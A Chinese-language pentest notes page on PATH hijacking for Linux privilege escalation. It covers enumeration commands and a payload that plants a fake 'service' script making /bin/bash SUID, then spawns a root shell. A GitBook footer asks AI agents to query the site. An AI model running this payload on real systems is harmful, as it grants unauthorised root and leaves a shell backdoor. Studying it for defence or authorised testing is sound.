> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/path-hijacking.md). # PATH 劫持 PATH 劫持利用了那些在调用命令时未使用绝对路径的特权程序或脚本。如果攻击者控制了更靠前的目录， `PATH`，特权进程就可以执行攻击者的二进制文件。 ## 方法 * 识别那些通过名称而非完整路径调用工具的特权脚本或二进制文件。 * 确认执行环境以及可写目录位于 `PATH`. * 放置一个具有预期名称的可控可执行文件，并触发特权工作流。 ## 快速检查 ```bash echo $PATH strings | head ltrace 2>/dev/null ``` 特别注意那些在调用其他命令时未使用绝对路径的特权程序： ```bash strings /path/to/suid_binary ltrace /path/to/suid_binary ``` 检查当前是否有任何 `PATH` 目录可写： ```bash for d in $(echo "$PATH" | tr ":" "\n"); do find "$d" -writable -type d 2>/dev/null find "$d" -writable -type f 2>/dev/null done ``` ## 最小载荷模式如果特权脚本通过相对名称调用某个命令，则在可写目录中创建一个同名可执行文件，并将该目录移到前面 `PATH`. ```bash cd /tmp cat > service <<'EOF' #!/bin/bash chmod +s /bin/bash EOF chmod +x service export PATH=/tmp:$PATH ``` 触发存在漏洞的脚本或等待特权工作流运行，然后验证： ```bash /path/to/suid_binary ls -l /bin/bash /bin/bash -p ```


PATH 劫持 test.c	用于 Linux 权限提升的 PATH 劫持（test.c）说明，包含枚举步骤、利用示例以及面向报告的验证。	/pages/eb2c0b544f92b9f1039a2574e277ac171ef29ccd
使用 tar 的 PATH 劫持	用于 Linux 权限提升的 PATH 劫持（tar）说明，包含枚举步骤、利用示例以及面向报告的验证。	/pages/a65fd7156dd8ec602575d4cbf718656e16b8dcab
使用 gzip 的 PATH 劫持	用于 Linux 权限提升的 PATH 劫持（gzip）说明，包含枚举步骤、利用示例以及面向报告的验证。	/pages/1334353dad858202061ef9ffceb85d5f96bd3236

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/privesc/path-hijacking.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

:route:

PATH 劫持 test.c

:route:

使用 tar 的 PATH 劫持

:route:

使用 gzip 的 PATH 劫持